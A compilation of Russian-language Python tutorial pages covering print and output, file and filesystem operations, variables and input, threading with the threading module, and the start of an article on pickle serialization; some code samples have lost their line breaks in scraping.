Вывод python: Как вывести текст в python? С примерами функции print ~ PythonRu
Как вывести текст в python? С примерами функции print ~ PythonRu
Команда print — это основа Python, ведь она используется для вывода текста на экран. Именно с ее помощью можно вывести «Hello World!», что традиционно делают программисты, изучая новый язык.
В этом материале разберемся с этой функцией и рассмотрим более продвинутые вещи.
Как выводить текст в Python 3
Выводить текст в Python очень просто. Достаточно лишь написать:
print("Текст для вывода")Но все становится чуть сложнее, учитывая, что существуют две популярные версии Python. Этот пример сработает с Python 3+ (поддерживаемой сегодня версией), однако стоит убрать скобки в том случае, если это Python 2:
print "Текст для вывода"Вывод строк и других переменных
Размещая текст внутри кавычек, вы создаете строку. Строка в программировании — это любая последовательность букв или цифр.
Строки могут храниться и в виде переменных. Это значит, что слово будет использоваться для представления строки, и к нему можно будет ссылаться позже в коде.
Например:
hello_world = "Hello world!"
print(hello_world)Этот код хранит строку
"Hello world!"
в переменнойhello_world
. Позже ее можно будет использовать для вывода текста, указав в скобках без кавычек.Зачем может понадобиться выводить такой текст? Это может быть полезно в тех ситуациях, когда показываемый контент потенциально может поменяться во время работы программы. Это также удобно для получения информации: например, за счет ввода от пользователя.
name = input("Введите ваше имя пожалуйста: ")
print("Привет " + name)Если запустить этот код и ввести «Витя» получим:
Введите ваше имя пожалуйста: Витя Привет Витя
Как можно понять, этот код запрашивает пользователя сделать ввод и затем приветствует лично его. Также этот пример демонстрирует, как выводить текст, объединяя его с текстом из переменной. Достаточно заключить текст в кавычки и добавить знак плюса. Обратите внимание на пробел. Однако есть и другой способ разделения элементов — для этого используется запятая. Например:
Некоторые приемы вывода
Если при выводе текста в Python после него нужна пустая строка, то для этого используется символ
\n
.:
print("Привет\n")
print(name)Привет Витя
Также обратите внимание на то, что разрешается использовать как одинарные, так и двойные кавычки. Благодаря этому можно использовать кавычки как часть выводимого текста:
print('Он "умеет" кодить!')А если нужно вывести два типа кавычек, то тут на помощь приходят тройные кавычки:
print("""Я сказал "Привет" и все еще жду, когда 'они' ответят мне""")Вот и все что нужно знать о выводе текста в Python.
Краткий итог
Как вывести текст в python?
Что бы вывести текст в python достаточно вызвать функцию print(). Например:
print("Ваш текст")
Появились вопросы? Задайте на Яндекс Q
У блога появилось сообщество на Q, подписывайтесь >> Python Q для меня это важно. Можете задавать вопросы по python и программированию в целом. Обещаю отвечать:)
Тест на знание python
Какой ввод НЕ приведет к ошибке?
Продолжить
Какой будет результат выполнения кода в python 3 — print(3/5) ?
Продолжить
Какой будет результат выполнения этого кода?
Продолжить
Что выведет этот код?
Продолжить
Какой будет результат выполнения кода — print(+-1) ?
Продолжить
Продолжить
{{title}}
{{image}}
{{content}}
{{/global}}
Поделиться результатами через
Урок 11. Вывод текста в Python в одну или несколько строк
В данном уроке я научу вас особенностям вывода строк текста в одну строку или в несколько строк. Для чего это надо.
Обычно программисты не пишут слишком длинные строки программного кода, так как узкие строчки проще читать и анализировать, искать в них ошибки или исправлять сценарии.
Но если писать узкие строчки кода, а в итоговом результате мы должны получить длинные строчки, для этого используется вариант с добавлением запятой между соседними строчками.
Практический пример
Создаем на рабочем столе файл
test6.py
Файл сохраняем в кодировке UTF (подробно про кодировку — в уроке 5). Пишем руками в него следующий программный код:# -*- coding: utf- 8 -*- bukva1 = u"В" bukva2 = u"л" bukva3 = u"а" bukva4 = u"д" bukva5 = u"и" bukva6 = u"м" bukva7 = u"и" bukva8 = u"р" bukva9 = u"Л" bukva10 = u"е" bukva11 = u"н" bukva12 = u"и" bukva13 = u"н" # Первый вариант вывода - в несколько строк print bukva1 + bukva2 + bukva3 + bukva4 + bukva5 + bukva6 + bukva7 + bukva8 print bukva9 + bukva10 + bukva11 + bukva12 + bukva13 print "-" * 10 # Второй вариант вывода - в одну строку, через запятую между строками print bukva1 + bukva2 + bukva3 + bukva4 + bukva5 + bukva6 + bukva7 + bukva8, print bukva9 + bukva10 + bukva11 + bukva12 + bukva13 print "-" * 20
Краткое пояснение
Мы создаем переменные bukva1, bukva2 и т. д. (подробнее о том, что такое переменная и как она работает, мы говорили в уроке 9). И присваиваем каждой переменной по одной букве имени. Затем выводим имя двумя вариантами. Также под каждым вариантом вывода я показал, как можно отрисовать пунктирную линию — мы просто знак «-» умножаем на n количество раз.
Теперь открываем программу PowerShell и прописываем команду
python desktop/test6.py
У вас должно получиться следующее:
Как вы видите, в первом варианте написания кода запятая между строками не ставилась. И в итоге мы получили отображение имени и фамилии на разных строках.
А во втором варианте – между строками поставили запятую. И как результат – имя и фамилия – в одну строку.
Также я показал, как можно отграничивать разные блоки кода пунктирной линией. Для этого символ тире умножаем на 15 или 20, и компьютер в программе PowerShell прописывает этот символ 15 или 20 раз, формируя пунктирную линию.
Также заметьте, что после первого варианта я отступил одну строку и потом ввел пунктирную линию, а после второго варианта в программном коде я прописал пунктирную линию сразу после текста. На экране при выполнении программа выбрасывает первый промежуток, не делая никаких отступов и в первом и во втором случае. Поэтому вы можете писать код с промежутками — для лучшего его восприятия. Программа удалит эти промежутки.
Домашнее задание
Попробуйте вместо букв Владимир Ленин подставить буквы Владимир Путин, Иосиф Сталин, Никита Хрущев и т.д.
Как вы можете заметить, достаточно только поменять буквы в имени, чтобы присвоить их переменным
bukva
, чтобы на экране вывелись другие слова. При этом код в команде
В следующем уроке мы продолжим учиться выводить текст и буквы в Python 2.7 разными способами — перейти в урок 12.
Программирование на Python: Часть 8. Файловая система
Программирование на Python
Сергей Яковлев
Опубликовано 02.09.2010Серия контента:
Этот контент является частью # из серии # статей: Программирование на Python
https://www.ibm.com/developerworks/ru/library/?series_title_by=**auto**
Следите за выходом новых статей этой серии.
Этот контент является частью серии:Программирование на Python
Следите за выходом новых статей этой серии.
После изучения классов в Python мы перейдем к работе с файлами и файловой системой. Функции и объекты, описанные в этой главе, позволят вам сохранять данные между вызовами программы, а также обмениваться данными между программами.
Сегодня мы рассмотрим следующие темы.
- Как открыть файл.
- Базовые файловые методы.
- Стандартный ввод/вывод.
- Произвольный доступ.
- Построчная работа с файлами.
- Закрытие файла.
- Итерация.
- Pickling.
- Бинарные файлы – модуль struct.
- Работа с файловой системой.
1. Как открыть файл
Открыть файл можно с помощью функции open:
open(name[, mode[, buffering]])Функция возвращает файловый объект. Обязателен только первый аргумент. Если остальные параметры отсутствуют, файл будет доступен на чтение. Таблица режимов (mode) функции open:
‘r’ – чтение.
‘w’ – запись.
‘a’ – добавление.
‘b’ – бинарный режим.
‘+’ – чтение/запись.
Режим ‘+’ может быть добавлен к остальным режимам. По умолчанию питон открывает файлы в текстовом режиме. Для открытия файла в бинарном режиме на чтение можно добавить ‘rb’. Третий параметр устанавливает размер буферизации при работе с файлом. По умолчанию он выключен, и чтение/запись идет напрямую с диска на диск. Для включения буфера третий параметр должен быть отличным от нуля.
2. Базовые файловые методы
В питоне многие объекты являются файлами: стандартный ввод sys.stdin, стандартный вывод sys.stdout, объекты, открываемые функцией urllib.urlopen и т.д.
Запись в файл:
>>> f = open('my_file', 'w') >>> f.write('Hello, ') >>> f.write('World!') >>> f.close()Чтение:
>>> f = open('my_file', 'r') >>> f. read(5) 'Hello' >>> f.read() ', World!'3. Стандартный ввод/вывод
В командной строке можно записать подряд несколько команд, передавая результат работы от одной команды к другой по конвейеру – или по каналу (pipe):
cat my_file | python test.pyПервая команда – cat – пишет содержимое текстового файла my_file на стандартный вывод sys.stdout . Вторая команда запускает питоновский файл, который читает стандартный ввод sys.stdin , подсчитывает в нем количество слов и выводит результат:
test.py: import sys text = sys.stdin.read() words = text.split() wordcount = len(words) print 'Wordcount:', wordcountКанал – или пайп (pipe) – это конструкция, объединяющая стандартный вывод со стандартным вводом и позволяющая обмениваться данными между двумя командами.
4. Произвольный доступ
По умолчанию метод read() читает данные последовательно по порядку, от начала и до конца файла. Для произвольного доступа к файлу есть функция seek:
seek(offset[, whence])offset – смещение в байтах относительно начала файла;
whence – по умолчанию равен нулю, указывает на то, что смещение берется относительно начала файла.
Пример:
>>> f = open(r'my_file', 'w') >>> f.write('01234567890123456789') >>> f.seek(5) >>> f.write('Hello, World!') >>> f.close() >>> f = open(r'my_file') >>> f.read() '01234Hello, World!89'Функция tell() возвращает текущую позицию файла.
5. Построчная работа с файлами
Обычно мы имеем дело с текстовыми файлами. Прочитать одну строку:
file.readline()Функция readline() без параметра читает всю строку, наличие параметра указывает функции максимальное число символов строки, которое будет прочитано. Прочитать все строки и вернуть список строк:
file. readlines()Записать строки в файл:
file.writelines()Пример. Прочитать файл и записать его содержимое в другой файл:
f = open(r'my_file') lines = f.readlines() f.close() lines[0] = "This is a my_file2 \n" # изменяем 1-ю строку f = open(r'my_file2','w') f.writelines(lines) f.close()6. Закрытие файла
Для закрытия файла есть метод close(). Обычно файл закрывается сам после того, как вы выходите из программы, но файлы нужно закрывать вручную по нескольким причинам.
- Питон может буферизировать запись в файл ваших данных, что может привести к неожиданным эффектам и возникновению ошибок.
- У операционной системы есть ограничение на число одновременно открытых файлов.
- При доступе к файлу из разных мест одновременно и на чтение, и на запись необходимо синхронизировать файловые операции. Буферизация записи может привести к тому, что запись уже произошла, а данных в файле еще нет.
Для полной уверенности в закрытии файла можно использовать блок try/finally:
try: # Тут идет запись в файл finally: file.close()Можно также использовать менеджер контекста, который в любом случае закроет файл:
with open("my_file") as somefile: do_something(somefile)Если вы все же не хотите закрывать файл, то синхронизировать многопользовательский доступ к файлу на чтение/запись можно с помощью функции flush(), которая актуализирует все операции записи на диск. При этом возможна блокировка файла на чтение.
7. Итерация
Итерация по файлу является базовой операцией и имеет множество вариантов. Использование функции read() для байтового чтения:
f = open(filename) while True: char = f.read(1) if not char: break process(char) f.close()Построчное чтение текстовых файлов и функция readline():
f = open(filename) while True: line = f. readline() if not line: break process(line) f.close()Файл сам может выступать в роли итератора:
for line in open(filename): process(line)8. Pickling
Практически любой тип объекта может быть сохранен на диске в любой момент его жизни, а позже прочитан с диска. Для этого есть модуль pickle:
import pickle t1 = [1, 2, 3] s = pickle.dumps(t1) t2 = pickle.loads(s) print t2 [1, 2, 3]Здесь есть небольшой нюанс: t1 и t2 будут двумя разными объектами, хотя и идентичными.
9. Бинарные файлы
Стандартный модуль struct позволяет преобразовывать объекты в структуры C в виде строк в бинарном формате и обратно. Данные в строке располагаются в соответствии со строкой формата. Эти возможности могут быть использованы для чтения и сохранения в двоичном формате.
Функции этого модуля:
pack(format, value1, value2 ...)Возвращает строку, содержащую значения value1 . .., упакованные в соответствии с форматом. Количество и тип аргументов должны соответствовать значениям, которые требует строка формата format.
unpack(format, string)Распаковывает строку string в соответствии с форматом format и возвращает кортеж объектов.
calcsize(format)Возвращает размер структуры (т.е. длину строки), соответствующей формату format.
Таблица основных форматов
=========================== Format C Type Python =========================== c char string of length 1 ? Bool bool i int integer l long integer f float float d double float s char[] stringПеред символом формата может идти число, обозначающее количество повторений. Например, строка формата ‘4h’ полностью эквивалентна строке ‘hhhh’. Символы пропуска между символами формата игнорируются, однако символы пропуска между числом и символом формата не допускаются.
Число перед символом формата ‘s’ интерпретируется как длина строки, а не число повторений. То есть ’10s’ обозначает строку из 10 символов, в то время как ’10c’ – 10 раз по одному символу.
Можно изменить порядок следования байтов вручную:
< - little-endian > - big-endianВ следующем примере мы упаковываем в структуру два числа – целое и float, строку из пяти символов, сохраняем в бинарный файл, а потом извлекаем из файла:
from struct import * out = open("123.bin", "wb") format = "if5s" data = pack(format, 24,12.48,'12345') out.write(data) out.close() input = open("123.bin", "rb") data = input.read() input.close() format = "if5s" # one integer value,value2,value3 = unpack(format, data) # note the ',' in 'value,': unpack apparently returns a n-uple print value print value2 print value3 print calcsize(format) >>> 24 >>> 12. 4799995422 >>> 12345 >>> 1310. Работа с файловой системой
Стандартный модуль os имеет интерфейс работы с файловой системой. Каждая программа имеет текущий каталог. Функция os.getcwd возвращает текущий каталог:
import os cwd = os.getcwd() print cwdПроверить наличие файла в текущем каталоге:
os.path.exists('my_file')Вывести список файлов и подкаталогов для данного каталога:
os.listdir(path)Следующий пример рекурсивно выводит список всех файлов и подкаталогов для данного каталога:
import os def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): print path else: walk(path) walk(path)В следующем примере мы получим статистическую информацию о текущем каталоге: общий размер каталога в байтах, число файлов, число подкаталогов. Стандартная функция os.path.walk имеет три параметра: каталог, пользовательская функция, список для подсчета:
import os, sys def getlocaldata(sms,dr,flst): for f in flst: fullf = os.path.join(dr,f) if os.path.islink(fullf): continue # don't count linked files if os.path.isfile(fullf): sms[0] += os.path.getsize(fullf) sms[1] += 1 else: sms[2] += 1 def dtstat(dtroot): sums = [0,0,1] # 0 bytes, 0 files, 1 directory so far os.path.walk(dtroot,getlocaldata,sums) return sums report = dtstat('.') print reportВ следующем примере сделана интерпретация системной утилиты grep. В текущем каталоге будут найдены файлы с питоновским расширением, в которых будет найдена поисковая строка ‘import os’:
import os, sys, fnmatch mask = '*.py' pattern = 'import os' def walk(arg,dir,files): for file in files: if fnmatch.fnmatch(file,mask): name = os. path.join(dir,file) try: data = open(name,'rb').read() if data.find(pattern) != -1: print name except: pass os.path.walk('.',walk,[])Заключение
Сегодня мы узнали, что файловые объекты поддерживают чтение/запись. Для корректной работы с данными файл нужно программно закрывать. Файлы можно открывать в различных режимах. Стандартный ввод/вывод – это тоже файлы. Можно построчно читать и писать в файл. К файлам можно применять байтовую и построчную итерацию. Любые объекты могут быть сохранены на диске в произвольный момент времени в произвольном состоянии и позже восстановлены путем считывания с диска. Чтение/запись можно выполнять в бинарном режиме, соблюдая совместимость со структурами на языке си. Интерфейс с операционной системой позволяет писать компактные программы, дополняющие стандартные утилиты операционной системы.
Приведенные примеры проверены на версии питона 2.6.
< Предыдущая статья. Следующая статья >
Ресурсы для скачивания
Переменные и ввод/вывод данных в Python
Переменная — это ячейка данных, имеющая имя, в которой хранится информация определенного типа.
Присвоим переменной a значение 1
a = 1
Теперь присвоим переменной b значение 2
b = 2
А теперь сложим переменные a и b, присвоим результат переменной c
c = a + b
Сейчас мы сможем вывести результат. Делается это командой print()
print(c)
На выходе будет 3
Попробуем теперь принять данные у пользователя и записать в переменную
age = input('Укажите Ваш возраст: ')
text = 'Вам ' + age + ' лет'
print(text)Мы попросили ввести пользователя возраст и программа вывела текст, сколько лет пользователю. Как видно переменные можно «склеивать» с помощью знака +
Два основных типа переменных это: целые числа и строки. Целые числа записываются без кавычек, текст же записывается в одинарных или двойных кавычках.
a = 1
b = "Просто текст"
c = 'Hello'В выводе можно использовать и другие знаки. Например * (умножить). В случае с числом, мы получим вычисление, если переменной будет текст, то вывод повторен столько раз, на сколько умножим.
a = 'Ха'
print(a*3)Получим на выводе: «ХаХаХа»
По-умолчанию, запись данных в переменную осуществляется в виде строки (str). Но если нам надо произвести вычисления, то нужно преобразовать переменную в число, делается это так:
a = input('Введите число A: ')
b = input('Введите число B: ')
c = int(a) + int(b)
print('Сумма числа A и B = ' + str(c))Как видно в конце мы преобразовали целое число в строковую переменную обратно.
Глава 3. Работа с потоками в Python
В Главе 1, Расширенное введение в совместное и параллельное программирование, вы увидели
некий пример потоков, применяемых в совместной обработке и параллельном программировании. В этой главе вы получите некое введение в собственно
формальное определение потока, а также модульthreading
из Python. . Мы рассмотрим некое число способов
работы с потоками в какой- то программе на Python, в том числе такие действия как создание новых потоков, синхронизацию потоков а также работу
при помощи многопоточными очередями с приоритетами, причём на конкретных примерах. Мы также обсудим основное понятие блокировки при
синхронизации потоков, а также мы реализуем некое многопоточное приложение с блокированием для лучшего понимания преимуществ синхронизации
потоков.Технические требования
Вот перечень предварительных требований для данной главы:
-
Убедитесь что на вашем компьютере уже установлен Python 3
-
Выгрузите необходимый репозиторий из GitHub
-
На протяжении данной главы мы будем работать с вложенной папкой, имеющей название
Chapter03
-
Ознакомьтесь со следующими видеоматериалами Code in Action
В области информатики, некий поток исполнения является наименьшим элементом
команд программирования (кода), который какой- то планировщик (обычно как часть операционной системы) может обрабатывать, а также управлять им.
В зависимости от конкретной операционной системы реализация потоков и процессов (которые мы обсудим в своей следующей главе) меняется, но поток
является обычно является неким элементом (компонентом) в каком- то процессе.
Сопоставление потоков и процессов
Внутри одного и того же процесса может буть реализовано более одного потока, скорее всего исполняющихся совместно и осуществляющих доступ/ разделяя
одни и те же ресурсы. Потоки в одном и том же процессе совместно используют все последующие инструкции (свой код) и контекст (те значения, на которые
ссылаются их переменные в любой определённый момент).
Основным ключевым отличием между этими двумя понятиями состоит в том, что некий поток обычно компонент какого- то процесса. Таким образом, один
процесс может содержать множество потоков, которые могут исполняться одновременно. Потоки также обычно допускают совместное применение ресурсов,
таких как память и данные, в то время как процессы крайне редко делают это. Короче говоря, некий поток является каким- то независимым компонентом
вычислений, который аналогичен процессу, однако сам поток внутри некоего процесса может разделять адресное пространство и, тем самым, и собственно
данные такого процесса:
Первые упоминания о применении потоков для переменного числа задач в мультипрограммировании OS/360, которая является снятой с производства системой пакетной
обработки, датируемые 1967 годом после её разработки IBM. В то время разработчики именовали потоки задачами, а сам термин поток стал популярным позднее и
приписывается Виктору А. Высоцкому, математику и научному сотруднику в области вычислений, который был директором- основателем Исследовательской лаборатории
Digital в Кембридже.
Многопоточность
В информатике одиночный поток аналогичен традиционной последовательной обработке, исполняющей некую отдельную команду в определённый момент времени.
С другой стороны, многопоточность реализует более одного потока существующими и
исполняющимися в каком- то отдельном процессе, причём одновременно. За счёт разрешения множеству потоков осуществлять доступ к совместным ресурсам/
контекстам и исполняться независимо, такая техника может помогать приложениям ускоряться в своём исполнении независимых задач.
Многопоточность изначально может достигаться двумя способами. В системах с единственным процессором, многопоточность обычно реализуется путём
деления времени, техники, которая позволяет имеющемуся ЦПК переключаться между различным
программным обеспечением, запущенным в различных потоках. При разделении времени, сам ЦПУ переключает своё исполнение настолько быстро и настолько
часто, что пользователи обычно воспринимают что их программное обеспечение запущено параллельно (например, когда вы открываете две различные программы
в одно и то же время в каком- то компьютере с единственным процессором):
В противоположность системам с единственным процессором, системы со множеством процессоров или ядер способны легко реализовывать многопоточность,
причём исполняя каждый поток в каком- то отдельном процессоре или ядре и при этом одновременно. Кроме того, неким вариантом является и разделение
времени, так как такие системы со множеством процессоров и множеством ядер могут иметь только один процессор/ одно ядро для переключения между задачами —
хотя обычно это не самый практичный приём.
Многопоточные приложения имеют ряд преимуществ по сравнению с обычными последовательными приложениями; некоторые из них таковы:
-
Более быстрое время исполнения: Одним из основных преимуществ совместной обработки при
многопоточности является достигаемое ускорение. Отдельные потоки в одной и той же программе мугут исполняться совместно или параллельно,
когда они достаточно независимы друг от друга. -
Быстрота отклика: Некая программа с единственным потоком за раз может обрабатывать только
один кусочек ввода; тем самым, если её основной поток исполнения блокируется в какой- то задаче с длительным временем исполнения (например,
некая часть ввода, которая требует интенсивных вычислений и обработки), вся программа целиком не будет способна продолжить прочий ввод и, следовательно,
будет казаться замёрзшей. Применяя отдельные потоки для осуществления вычислений и оставаясь исполняемой для получения ввода другого пользователя в
то же самое время, некая многопоточная программа может предоставлять гораздо лучшую отзывчивость. -
Эффективность в потреблении ресурсов: Как уже упоминалось ранее, множество потоков
внутри одного и того же процесса могут совместно разделять одни и те же ресурсы и осуществлять к ним доступ. Вследствие этого, многопоточные программы
могут обслуживать и обрабатывать множество запросов клиентов к данным для совместной обработки, используя значительно меньше ресурсов чем это
потребовалось бы при применении однопотоковых или многопроцессных программ. Это также ведёт к более быстрому взаимодействию между потоками.
При этом многопточные программы также имеют и свои собственные недостатки, а именно:
-
Крушения: Даже хотя некий процесс может содержать множество потоков, отдельная недопустимая
операция в пределах одного потока может отрицательно сказываться на имеющейся обработке всех прочих потоков в этом процессе и может вызывать в результате
крушение всей программы целиком. -
Синхронизация: Даже хотя разделение одних и тех же ресурсов может выступать неким
преимуществом над обычным последовательным программированием или программами с множеством процессов, для такого совместного использования ресурсов
также требуется аккуратное рассмотрение подробностей с тем, чтобы совместные данные вычислялись правильно и их обработка была корректной.
Интуитивно непонятные проблемы, которые могут быть вызваны небрежной координацией потоков включают в свой состав взаимные блокировки, зависания и
состояние конкуренции, каждое из которых будет обсуждено в последующих главах.
Некий пример на Python
Чтобы продемонстрировать само понятие запуска множества потоков в одном и том же процессе, давайте рассмотрим некий быстрый пример на Python.
Если у вас уже имеется выгруженным с нашей страницы в GitHub необходимый код для данной книги, проследуйте далее и переместитесь в папку
Chapter03
. Давайте рассмотрим приводимый далее файл
Chapter03/my_thread.py
:
# Chapter03/my_thread.py
import threading
import time
class MyThread(threading.Thread):
def __init__(self, name, delay):
threading.Thread.__init__(self)
self.name = name
self.delay = delay
def run(self):
print('Starting thread %s.' % self.name)
thread_count_down(self.name, self.delay)
print('Finished thread %s.' % self.name)
def thread_count_down(name, delay):
counter = 5
while counter:
time.sleep(delay)
print('Thread %s counting down: %i...' % (name, counter))
counter -= 1
В этом файле мы применяем соответствующий модуль threading
мз Python в качестве необходимой основы для
своего класса MyThread
. Кадлый объект из этого класса имеет некое
name
и параметр delay
. Имеющаяся функция
run()
, которая вызывается как только некий новый поток инициализирован и запущен, печатает какое- то
стартовое сообщение и, в свою очередь, вызывает соответствующую функцию thread_count_down()
. Данная функция
ведёт обратный отсчёт с 5
до 0
, а между итерациями засыпает на несколько
секунд, которые определены определяемым параметром задержки.
Основной момент в данном примере состоит в том чтобы показать имеющуюся природу совместной обработки через одновременный запуск более одного объектов
из нашего класса MyThread
. Мы знаем, что как только каждый поток запускается, также стартует и обратный отсчёт
на основе времени. В традиционной последовательной программе отдельный обратный отсчёт будет исполняться обособленно, по- порядку (то есть, какой- то
новый обратный отсчёт не начнётся, пока не завершится текущий). Как вы обнаружите, все отдельные обратные отсчёты для обособленных потоков исполняются
совместно.
Давайте рассмотрим следующий файл, Chapter03/example1.py
:
# Chapter03/example1.py
from my_thread import MyThread
thread1 = MyThread('A', 0.5)
thread2 = MyThread('B', 0.5)
thread1.start()
thread2.start()
thread1.join()
thread2.join()
print('Finished.')
Здесь мы выполнили инициализацию и запустили совместно два потока, причём каждый из них имеет в качестве параметра delay
0.5
секунд. Воспользовавшись своим интерпретатором Python запустите этот сценарий. Вы должны получить
следующий вывод:
> python example1.py
Starting thread A.
Starting thread B.
Thread A counting down: 5...
Thread B counting down: 5...
Thread B counting down: 4...
Thread A counting down: 4...
Thread B counting down: 3...
Thread A counting down: 3...
Thread B counting down: 2...
Thread A counting down: 2...
Thread B counting down: 1...
Thread A counting down: 1...
Finished thread B.
Finished thread A.
Finished.
В точности, как и ожидалось, полученный вывод сообщает нам, что наши два обратных отсчёта для имеющихся потоков исполнялись совместно; вместо того
чтобы завершить наш самый первый поток обратного отсчёта и затем запустить второй имеющийся поток обратного отсчёта, наша программа исполнила эти два
обратных отсчёта почти в одно и то же время. Без включения каких- то накладных расходов и различных объявлений, такая методика организации потоков позволяет
почти удвоить улучшение скорости для нашей предыдущей программы.
Имеется один дополнительный момент, который стоит принять во внимание в нашем предыдущем выводе. После самого первого обратного отсчёта под номером
5
мы можем заметить, что поток B в действительности обогнал поток A в исполнении, даже хотя мы и знаем, что поток A
был проинициализирован и запущен до потока B. Такое изменение на самом деле позволило потоку B завершиться ранее потока A. Это явление является
непосредственным результатом совместной работы при многопоточности; так как эти два потока были проинициализированы и запущены почти одновременно, имеется
большая вероятность что один поток опередит другой при исполнении.
Если вы запустили этот сценарий много раз, достаточно вероятно что вы получите отличающийся вывод в терминах порядка исполнения и завершения своих обратных
отсчётов. Ниже приводятся два фрагмента вывода, которые я получил запуская этот сценарий снова и снова. Самый первый вывод показывает некое единообразие и
неизменность порядка исполнения и завершения, при котором эти два обратных отсчёта были исполнены рука к руке. Второй же показывает некий вариант, при
котором поток A исполнился слегка быстрее чем поток B; даже завершившись до того, как поток B отсчитал число
1
. Этот вариант вывода в дальнейшем проиллюстрирует тот факт, что наши потоки воспринимались и исполнялись со
стороны Python одинаково.
Следующий код показывает один возможный вывод нашей программы:
> python example1.py
Starting thread A.
Starting thread B.
Thread A counting down: 5...
Thread B counting down: 5...
Thread A counting down: 4...
Thread B counting down: 4...
Thread A counting down: 3...
Thread B counting down: 3...
Thread A counting down: 2...
Thread B counting down: 2...
Thread A counting down: 1...
Thread B counting down: 1...
Finished thread A.
Finished thread B.
Finished.
А вот ещё один возможный вывод:
> python example1.py
Starting thread A.
Starting thread B.
Thread A counting down: 5...
Thread B counting down: 5...
Thread A counting down: 4...
Thread B counting down: 4...
Thread A counting down: 3...
Thread B counting down: 3...
Thread A counting down: 2...
Thread B counting down: 2...
Thread A counting down: 1...
Finished thread A.
Thread B counting down: 1...
Finished thread B.
Finished.
Модуль Python pickle: как сохранить объекты в Python
Подписывайся на наш канал в Telegram, чтобы ежедневно совершенствоваться в Python. Там выходят задачи, полезные советы и сливы платных курсов — перейти
Оглавление
- Сериализация в Python
- Внутри модуля pickle
- Форматы протокола модуля Python pickle
- Picklable и Unpicklable типы
- Сжатие Pickled объектов
- Проблемы безопасности с модулем Python pickle
- Вывод
Как разработчику, вам иногда может понадобиться отправить сложные иерархии объектов по сети или сохранить внутреннее состояние ваших объектов на диск или в базу данных для последующего использования. Для этого вы можете использовать процесс, называемый сериализацией , который полностью поддерживается стандартной библиотекой благодаря pickle
модулю Python .
В этом уроке вы узнаете:
- Что означает сериализация и десериализация объекта
- Какие модули вы можете использовать для сериализации объектов в Python
- Какие виды объектов можно сериализовать с помощью
pickle
модуля Python - Как использовать
pickle
модуль Python для сериализации объектных иерархий - Каковы риски при десериализации объекта из ненадежного источника
Сериализация в Python
Процесс сериализации – это способ преобразования структуры данных в линейную форму, которая может храниться или передаваться по сети.
В Python сериализация позволяет взять сложную структуру объекта и преобразовать ее в поток байтов, который можно сохранить на диск или отправить по сети. Обратный процесс, который принимает поток байтов и преобразует его обратно в структуру данных, называется десериализацией или демаршалингом .
Сериализация может использоваться в самых разных ситуациях. Одним из наиболее распространенных применений является сохранение состояния нейронной сети после фазы обучения, чтобы вы могли использовать его позже без необходимости повторять обучение.
Python предлагает три различных модуля в стандартной библиотеке, которые позволяют сериализовать и десериализовывать объекты:
marshal
модульjson
модульpickle
модуль
Кроме того, Python поддерживает XML , который вы также можете использовать для сериализации объектов.
marshal
Модуль является самым старым из трех перечисленных выше. Он существует главным образом для чтения и записи скомпилированного байт-кода модулей Python или .pyc
файлов, которые вы получаете, когда интерпретатор импортирует модуль Python. Таким образом, даже если вы можете использовать marshal
для сериализации некоторых из ваших объектов, это не рекомендуется.
json
Модуль является новейшим из трех. Позволяет работать со стандартными файлами JSON. JSON – это очень удобный и широко используемый формат для обмена данными.
Есть несколько причин выбрать формат JSON : он удобен для чтения и не зависит от языка и легче XML. С помощью json
модуля вы можете сериализовать и десериализовать несколько стандартных типов Python:
Модуль Python pickle
– это еще один способ сериализации и десериализации объектов в Python. Он отличается от json
модуля тем, что сериализует объекты в двоичном формате, что означает, что результат не читается человеком. Тем не менее, он также быстрее и работает со многими другими типами Python, включая ваши пользовательские объекты.
Примечание: С этого момента, вы будете видеть термины pickling и unpickling используется для обозначения сериализации и десериализации с Python pickle
модуля.
Итак, у вас есть несколько различных способов сериализации и десериализации объектов в Python. Но какой из них вы должны использовать? Короткий ответ: нет единого решения для всех. Все зависит от вашего варианта использования.
Вот три основных руководства для принятия решения, какой подход использовать:
- Не используйте
marshal
модуль. Он используется главным образом интерпретатором, и официальная документация предупреждает, что сопровождающие Python могут изменять формат обратно несовместимыми способами. json
Модуль и XML является хорошим выбором , если вам нужно взаимодействие с различными языками или воспринимаемым форматом.- Модуль Python
pickle
– лучший выбор для всех остальных вариантов использования. Если вам не нужен читаемый человеком формат или стандартный совместимый формат, или если вам нужно сериализовать пользовательские объекты, тогда переходите кpickle
.
Внутри pickle
модуля Python
Модуль Python pickle
основном состоит из четырех методов:
pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
Первые два метода используются во время процесса pickling, а два других используются во время unpickling. Единственная разница между dump()
и dumps()
заключается в том, что первый создает файл, содержащий результат сериализации, а второй возвращает строку.
Чтобы отличить dumps()
от dump()
, полезно помнить, что s
в конце имени функции стоит символ string
. То же самое относится и к load()
и loads()
: первый читает файл, чтобы начать процесс расслоения, а второй работает со строкой.
Рассмотрим следующий пример. Допустим, у вас есть пользовательский класс example_class
с несколькими разными атрибутами, каждый из которых имеет свой тип:
a_number
a_string
a_dictionary
a_list
a_tuple
В приведенном ниже примере показано, как создать экземпляр класса и выбрать экземпляр, чтобы получить простую строку. После выбора класса вы можете изменить значение его атрибутов, не затрагивая выбранную строку. Затем вы можете снять выделенную строку в другой переменной, восстановив точную копию ранее выбранного класса:
# pickling.py
import pickle
class example_class:
a_number = 35
a_string = "hey"
a_list = [1, 2, 3]
a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
a_tuple = (22, 23)
my_object = example_class()
my_pickled_object = pickle.dumps(my_object) # Pickling the object
print(f"This is my pickled object:\n{my_pickled_object}\n")
my_object.a_dict = None
my_unpickled_object = pickle.loads(my_pickled_object) # Unpickling the object
print(
f"This is a_dict of the unpickled object:\n{my_unpickled_object.a_dict}\n")
В приведенном выше примере вы создаете несколько различных объектов и сериализуете их pickle
. Это производит единственную строку с сериализованным результатом:
$ python pickling.py
This is my pickled object:
b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'
This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}
Процесс pickling завершается правильно, сохраняя весь ваш экземпляр в этой строке: b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'
